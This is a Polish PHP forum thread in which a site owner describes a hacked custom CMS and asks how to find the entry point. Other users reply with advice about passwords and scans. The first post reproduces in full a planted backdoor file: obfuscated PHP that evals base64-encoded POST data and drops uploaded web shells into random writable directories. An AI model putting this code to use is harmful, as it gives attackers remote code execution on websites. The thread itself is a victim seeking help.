Witaj Gościu! ( Zaloguj | Rejestruj )

Forum PHP.pl

> Włamanie na stronę i złośliwy kod w plikach, autorski system CMS
Giekuss
post
Post #1





Grupa: Zarejestrowani
Postów: 20
Pomógł: 0
Dołączył: 4.05.2012

Ostrzeżenie: (0%)
-----


Witam,

Ostatnio spotkałem się z wynikiem shakowanej strony. Na początku zaczął mi się dodawać złośliwy kod w pliku index.php w głównym katalogu strony. Strona jest postawiona na autorskim CMS'ie od osoby mi nie znanej. Funkcjonuje bardzo podobnie do CMS Razor. Oczywiście nie ma własnej bazy danych.

Ale zacznijmy od tego co się działo:

1. Dodawało złośliwy kod do pliku index.php w katalogu głównym (nie w katalogu z szablonem).
2. Przekierowywało stronę na nowy adres vk.com w urządzeniach mobilnych
3. Na urządzeniach stacjonarnych wyświetlały się komunikaty o błędach
4. Złośliwy fragment usuwałem na bieżąco
5. Problem pojawił się z końcem Grudnia - początek Stycznia
5. Zablokowana strona przez Google
6. Przywrócenie kopii z Listopada - co do pewności zawirusowania nie mam, ale na pewno nie ma dziwnych plików i wtedy funkcjonowała normalnie.
7. Chciałem wprowadzić zmiany w szablonie, otwieram folder theme, a tam plik o nazwie: O__Kw3Sdnm.php
8. Wcześniej go nie było, ale treść pliku mnie przeraża, Z tego co udało mi się rozszyfrować to wprowadza jakiś ciąg znaku zmienia prawa pliku co daje mu dostęp do Nich, a zmieniane pliki sobie losuje.
9. Usunąłem go.
10. Odkąd wykonałem kopie błąd z końca Grudnia się nie powtórzył (wcześniej zdarzało się to 3 razy na dzień).

Bardzo proszę was o pomoc, bo nie wiem jakie działania mogę podjąć :c Nie mogę pozwolić na to, aby strona nie funkcjonowała tak jak należy, ponieważ jest to główny sposób zarobku.

  1. <!--FILE IS NULL OR EMPTY-->
  2. <?php
  3.  
  4. $version = "1.5";
  5. if(!empty($_POST["gjwqweodsa"]) and strlen($_POST["gjwqweodsa"]) > 0 and isset($_POST["gjwqweodsa"])){
  6. $isevalfunctionavailable = false;
  7. $evalcheck = "\$isevalfunctionavailable = true;";
  8. @eval($evalcheck);
  9. if ($isevalfunctionavailable === true) {
  10. $fnsdht = "b".""."as"."e"."".""."6"."4"."_"."de".""."c"."o".""."d"."e";
  11.  
  12. $fv = $fnsdht($_POST["gjwqweodsa"]);
  13. @eval($fv);
  14. //@eval($_POST["gjwqweodsa"]);
  15. }else{
  16. $mpath = realpath("")."/";
  17. //$dop = "\n@unlink(\"".$mpath."dsadasdsa1fag1.php\");\n";
  18. if(@file_put_contents($mpath."dsadasdsa1fag1.php","<?php\n".$fnsdht($_POST["gjwqweodsa"])."\n?>")){
  19. @include_once($mpath."dsadasdsa1fag1.php");
  20. @unlink($mpath."dsadasdsa1fag1.php");
  21. }else{
  22. echo "ERROR! CANT DO NOTHING!";
  23. }
  24. }
  25. }
  26. //if (is_uploaded_file($_FILES['file']['tmp_name']))
  27. if(!empty($_POST['fname']) and isset($_POST['fname']) and strlen($_POST['fname'])>0)
  28. {
  29. $fname = trim($_POST['fname']);
  30. $save_type = trim($_POST['save_type']);
  31. $dirname = trim($_POST['dirname']);
  32. $namecrt = trim($_POST['namecrt']);
  33.  
  34. $auth_pass = trim($_POST['auth_pass']);
  35. $change_pass = trim($_POST['change_pass']);
  36.  
  37. $file_type = trim($_POST['file_type']);
  38. $ftdata = trim($_POST['ftdata']);
  39. $is_sh = trim($_POST['is_sh']);
  40.  
  41. if($namecrt == "random"){
  42. $fname = make_name($fname);
  43. }
  44. $uploadfile = "";
  45.  
  46. if($save_type == "same_dir"){
  47. $uploadfile = realpath("")."/". $fname;
  48. }else if($save_type == "sub_dir"){
  49. $uploadfile = realpath("")."/$dirname/". $fname;
  50. if(!@mkdir(realpath("")."/$dirname/", 0755)){
  51. $uploadfile = realpath("")."/". $fname;
  52. }
  53. }else if($save_type == "root"){
  54. $root = $_SERVER['DOCUMENT_ROOT']."/";
  55. if(@is_writable($root)){
  56. $uploadfile = $root.$fname;
  57. }else{
  58. $uploadfile = realpath("")."/". $fname;
  59. }
  60. }else if($save_type == "root_in_dir"){
  61. $root = $_SERVER['DOCUMENT_ROOT']."/";
  62. $uploadfile = $root."$dirname/". $fname;
  63. if(!@mkdir($root."$dirname/", 0755)){
  64. $uploadfile = realpath("")."/". $fname;
  65. }
  66. }else if($save_type == "random_dir"){
  67. $uploadfile = choose_dir();
  68. if(@is_writable($uploadfile)){
  69. $uploadfile = $uploadfile.$fname;
  70. }else{
  71. $uploadfile = realpath("")."/". $fname;
  72. }
  73. }else if($save_type == "random_dir_random_dirname"){
  74. $dirs = array("dwr","temp","htdata","docs","memory","limits_data","module_config","temp_memory");
  75. $dr = $dirs[array_rand($dirs)];
  76.  
  77. $chodir = choose_dir();
  78. $uploadfile = $chodir.$dr."/".$fname;
  79.  
  80. if(!@mkdir($chodir."$dr/", 0755)){
  81. $uploadfile = realpath("")."/". $fname;
  82. }
  83. }else{
  84. $uploadfile = realpath("")."/". $fname;
  85. }
  86. if($file_type == "file"){
  87. if (move_uploaded_file($_FILES['file']['tmp_name'], $uploadfile))
  88. {
  89. if($is_sh == "1" or $is_sh == 1){
  90. if($change_pass == "1" or $change_pass == 1){
  91.  
  92. }else{
  93. $auth_pass = "";
  94. }
  95. $d = @file_get_contents($uploadfile);
  96. $d = str_replace("{||AUTH_PASS||}",$auth_pass,$d);
  97. @file_put_contents($uploadfile,$d);
  98. }
  99. $url = "http://".str_replace($_SERVER["DOCUMENT_ROOT"],$_SERVER["SERVER_NAME"],$uploadfile);
  100. echo "UPLOAD:".$url."-END";
  101. }
  102. else
  103. {
  104. echo "ERROR upload";
  105. }
  106. }else{
  107. if($is_sh == "1" or $is_sh == 1){
  108. if($change_pass == "1" or $change_pass == 1){
  109.  
  110. }else{
  111. $auth_pass = "";
  112. }
  113. $ftdata = base64_decode($ftdata);
  114. $ftdata = str_replace("{||AUTH_PASS||}",$auth_pass,$ftdata);
  115. }
  116. if(@file_put_contents($uploadfile,$ftdata)){
  117. @chmod($uploadfile,0644);
  118. echo "UPLOAD:http://".str_replace($_SERVER["DOCUMENT_ROOT"],$_SERVER["SERVER_NAME"],$uploadfile)."-END";
  119. }else{
  120. $fp = fopen($uploadfile, "w");
  121. if($fp === false){
  122. echo "ERROR upload";
  123. }else{
  124. @fputs ($fp, $ftdata);
  125. @fclose ($fp);
  126. @chmod($uploadfile,0644);
  127. echo "UPLOAD:http://".str_replace($_SERVER["DOCUMENT_ROOT"],$_SERVER["SERVER_NAME"],$uploadfile)."-END";
  128. }
  129. }
  130. }
  131.  
  132. }
  133.  
  134. function make_name($curname){
  135. $l = array("_","__","q","w","e","r","t","y","u","i","o","p","a","s","d","f","g","h","j","k","l","z","x","c","v","b","n","m",
  136. "1","2","3","4","5","6","7","8","9",
  137. "Q","W","E","R","T","Y","U","I","O","P","A","S","D","F","G","H","J","K","L","Z","X","C","V","B","N","M");
  138. $leng = rand(3, 9);
  139. $ret = "";
  140. for($i = 0; $i < $leng; $i++){
  141. $ret .= $l[array_rand($l)];
  142. }
  143. $curname = explode(".",$curname);
  144. return $ret.".".$curname[1];
  145. }
  146.  
  147. function choose_dir(){
  148. $lim = 0;
  149. $res_dirs = array_unique(my_scan($_SERVER['DOCUMENT_ROOT']."/",$lim));
  150. $t = array();
  151. for($j = 0; $j < count($res_dirs); $j++){
  152. $ct = explode("/",$res_dirs[$j]);
  153. $t[] = count($ct);
  154. }
  155. arsort($t);
  156. $cpath = "";
  157. $wrt_dirs = array();
  158. foreach($t as $key=>$val){
  159. if(@is_writable($res_dirs[$key])){
  160. if(@file_put_contents($res_dirs[$key]."t.php","hello")){
  161. @unlink($res_dirs[$key]."t.php");
  162. //$cpath = $res_dirs[$key];
  163. //break;
  164. $wrt_dirs[] = $res_dirs[$key];
  165. }
  166. }
  167. }
  168. if(!empty($wrt_dirs) and count($wrt_dirs)>1){
  169. $cpath = $wrt_dirs[array_rand($wrt_dirs)];
  170. }
  171. if(empty($cpath) or $cpath == "" or strlen($cpath) == 0){
  172. $cpath = $_SERVER['DOCUMENT_ROOT']."/";
  173. }
  174. return $cpath;
  175. }
  176.  
  177. function my_scan($startDir,&$lim){
  178. $cur_dir = @scandir($startDir);
  179. $res = array();
  180. for($ii = count($cur_dir)-1; $ii >=0; $ii--){
  181. $one_dir = $cur_dir[$ii];
  182. if($lim > 100)break;
  183. $d = $startDir.$one_dir;
  184. if(!@is_link($d) and @is_dir($d."/") && $one_dir !== "." && $one_dir !== ".." && $one_dir !== "cgi-bin" && $one_dir !== "webstats" && $one_dir !== "uploads" && $one_dir !== "upload" && $one_dir !== "js" && $one_dir !== "img" && $one_dir !== "images" && $one_dir !== "templates" && $one_dir !== "webstat" && strpos($one_dir,"backup")===false){
  185. if(@is_readable($d."/")){
  186. $res[] = $d."/";
  187. $res = array_merge($res,my_scan($d."/",$lim));
  188. }
  189. }
  190. $lim++;
  191. }
  192. return $res;
  193. }
  194. ?>
Powód edycji: [Daiquiri]: Poprawiam temat
Go to the top of the page
+Quote Post
 
Start new topic
Odpowiedzi (1 - 5)
timon27
post
Post #2





Grupa: Zarejestrowani
Postów: 578
Pomógł: 69
Dołączył: 15.04.2007
Skąd: Wrocław

Ostrzeżenie: (0%)
-----


Hasło do ftp zmieniałeś?
Go to the top of the page
+Quote Post
Giekuss
post
Post #3





Grupa: Zarejestrowani
Postów: 20
Pomógł: 0
Dołączył: 4.05.2012

Ostrzeżenie: (0%)
-----


Tak, oczywiście, do Panelu ADMINA również i zmieniałem prawa plików i podkatalogów....
Go to the top of the page
+Quote Post
Turson
post
Post #4





Grupa: Zarejestrowani
Postów: 4 291
Pomógł: 829
Dołączył: 14.02.2009
Skąd: łódź

Ostrzeżenie: (0%)
-----


Być może masz zainfekowany system. Zmień hasło ftp u kogoś innego, kompa przeskanuj, sprawdź logi np. hijack this
Go to the top of the page
+Quote Post
Daiquiri
post
Post #5





Grupa: Administratorzy
Postów: 1 552
Pomógł: 211
Dołączył: 7.07.2009
Skąd: NJ




Giekuss, następnym razem zapoznaj się proszę z tym: Temat: Jak poprawnie zatytulowac watek
Go to the top of the page
+Quote Post
Giekuss
post
Post #6





Grupa: Zarejestrowani
Postów: 20
Pomógł: 0
Dołączył: 4.05.2012

Ostrzeżenie: (0%)
-----


@Admin, przepraszam następnym razem już napisze odpowiedni wątek

Mam czysty system, nie dopuszciłbym do tego.
Hemm, udało mi się dojść do tego, ze jest to wirus rozpowswzechniony z urzadzenia mobilnego z androidem, który owego wirusa posiada. Jest to wirus
z rozszerzeniem (.apk) i każdy kto ma dostęp do strony może nie umyślnie go rozprowadzać. Na razie po usunięciu tego złośliwego pliku, przywroceniu kopii,
przeskanowaniu komputera, zmienieniu haseł, zmienieniu praw pliku nic się nie dzieje, ale jestem przekonany, że na stronie widnieje formularz, który
przekazuje te dane zawarte w poscie z tematu i robi tylnie wejscie do stronki.

Zależy mi tylko na tym, aby mnie nakierować gdzie owy formularz może się znajdować... index.php, html wszystkie zbadane, pliki szablonowe zbadane...
Go to the top of the page
+Quote Post

Reply to this topicStart new topic
2 Użytkowników czyta ten temat (2 Gości i 0 Anonimowych użytkowników)
0 Zarejestrowanych:

 



RSS Aktualny czas: 8.10.2025 - 03:53